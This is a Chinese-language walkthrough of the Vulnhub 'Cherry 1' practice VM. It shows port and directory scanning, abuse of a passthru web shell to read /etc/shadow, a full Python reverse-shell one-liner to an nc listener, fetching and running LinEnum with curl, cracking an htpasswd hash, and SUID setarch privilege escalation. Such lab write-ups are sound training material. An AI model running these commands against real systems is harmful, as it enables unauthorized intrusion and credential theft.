Vulnhub Cherry 1: Walkthrough
前言
说来也巧,之前有过一些靶场练习过,也是一些吃的之类的,比如说土豆、番茄等。就在昨天,听见我同学说还有一个叫做樱桃的靶场,这一下子激起了我的好奇心(你懂得,就是那种攻破一个靶场的爽感)。那么我就直接去了Vulnhub上面下载了下来,导入到虚拟机之后就开始干了。本文可不是一篇教你怎么安装虚拟机导入虚拟机的文章呦!
信息收集
所谓的信息收集,顾名思义就是要想尽一切办法收集关于目标的一切信息,包括但不限于域名 端口号 使用的中间件 系统版本 开放的目录
等。
主机发现
我们是用的虚拟机环境,所以我们使用nmap
对当前所处的网段进行扫描,在排除我们己方的主机之后那么剩下的可疑主机就可能是目标主机了。
nmap 192.168.17.0/24
在这里可以看出我们的 3
号主机就是我们的目标主机,可以在浏览器输入 192.168.17.148
进行测试。
初步收集信息
在获得了目标主机的 IP
地址后,我又对这个目标主机进行了更加细致的扫描,包括获取所有开放的端口号,及其对应的服务等。因为这是虚拟机嘛,我们就不使用各种规避防火墙的扫描方式了,我们直接使用 nmap
的万能扫描。关于 nmap
的各种细致用法,可以参考我的另一篇博客nmap使用总结,与nmap常用命令
nmap -A 192.168.17.148 -p-
我们可以看到,目标主机开放了 22 80 7755 33060
分别对应着 ssh nginx apache mysql
等服务,当然这只是程序的推测,具体的我们等会要去验证。
细心地你这个时候肯定已经发现了,这台主机很意外的开放了两个中间件服务,一个是在 80
一个是在 7755
。初期的信息收集基本上就是这样了,后面的 7755
端口非常的异常,因为他的端口号的数值较为大,常规的扫描可能会将其忽略,非常庆幸我扫描的时候加上了全端口的指令,否则就会遗漏了重要的信息。
我们总结一下收集到的信息:
目标主机的IP地址 | 目标主机开放的端口 | 目标主机开放的服务 |
---|---|---|
192.168.17.148 | 22、80、7755、33060 | SSH、Nginx、Apache、MySQL |
目录扫描
要说拿到网站基本的信息之后要做的第一件事是什么,那么对其进行扫描那就是必须要做的事情了,扫描一下网站时候有一些敏感的目录开放着,我们到时候可以对其进行利用。
对了,目录扫描之前先去网站看看什么样子,搞这么久了还没用浏览器看看什么样子呢。如图:
也没什么有价值的信息隐藏在其中嘛,看了眼源码也没发现什么有价值的信息,那么是时候请出我们的
dirb
开始扫描了。
dirb http://192.168.17.148/
扫描出了两个敏感目录,我们在浏览器输入相应的地址查看一下,
backup
路径提示我们没有权限,而info.php
页面直接是一个下载的链接,文件直接被下载下来了,里面就包含了一行代码phpinfo()
,初步看起来是没有什么有价值的信息的,遇到这里我碰壁了,这个玩意儿也不好搞啊。
天无绝人之路,突然间我看到了自己本子上记录的,他是有两个中间件服务的啊,既然 80
端口不行,那就再去 7755
看一下说不定会有什么收获呢?果不其然,在浏览器输入之后他的界面是一个和上面的一样的界面,那我这脾气就上来了,再来一遍才艺!
dirb http://192.168.17.148:7755/
结果和上面的是一样的,不死心的我想,明明是一样的东西为什么要做两个?第二个肯定是有猫腻的,我还是照猫画虎的使用上面的方法一个个的对敏感目录进行尝试,皇天不负有心人,这次的
backup
目录是可以进去的了,info.php
也是能够正常访问的了。呵,小样,别以为你换了个马甲我就不认识你了。
敏锐的我发现,这里面有个这个文件,顾名思义这个可能是一个命令执行的文件啊,我们点开来看一下,发现时空白的,这又是怎么回事?点开源码一看,有一句注释引起了注意,
<!-- </?php echo passthru($_GET['backup']); ?/> -->
,通过查阅了PHP手册发现,这个passthru
函数是一个能执行系统命令的函数啊,做到了这里有一种拨云见日的感觉,感觉一下子就好起来了!
开始干
我们首先在浏览器命令执行那个地方使用 ls
命令查看命令执行是够可行,如下图,显然是可行的!
http://192.168.17.148:7755/backup/command.php?backup=ls
快速的尝试
我首先是查看了 /etc/passwd
、/etc/group
、/etc/shadow
,查看系统上有什么用户,用户的组的情况,或者密码文件是否可读,可以的话是否可以进行密码爆破,或者是爆破SSH。
Hint: When using the web browser, the output is not formatted nicely. If you start looking at files and executing commands it can be a pain to work with. Leverage Firefox’s
view-source
URL command to view it in a pretty print. For example: view-source:http://192.168.17.148:7755/backup/command.php?backup=ls …or you can just usecurl
.
反弹shell
kali: nc -lnvp 8888
http://192.168.17.148:7755/backup/command.php?backup=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.17.144",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
开始提权
首先准备我们的脚本,一个自动化执行并且扫描系统各类敏感信息的脚本,在当前用户权限下能查看的基本上所有的文件信息。
cd /tmp curl -O https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh chmod +x LinEnum.sh ./LinEnum.sh -e /tmp
[-] htpasswd found - could contain passwords: /etc/apache2/.htpasswd admin:$apr1$3SRFNcco$BUX4Qy6xh58F03LDqnPsW/
使用 john
尝试一下看看能不能破译 john pass.txt
,密码是:自己去尝试下吧,解出来了也不如下面的操作价值大。
- 第一次尝试
dpkg -l policykit-1
查看当前系统polkit
的版本,查看是不是有漏洞的版本。发现不是。
- 第二次尝试
uname -a
当前内核版本,也不是有漏洞的版本。
- 第三次尝试
推荐个网站https://gtfobins.github.io/ 里面可以查看好多可以被利用的具有
SUID
程序的用法
- 观察到了
setarch
,查看下网站上面的说明,这个是可以新开一个root
的窗口。
- 执行
setarch $(arch) /bin/sh -p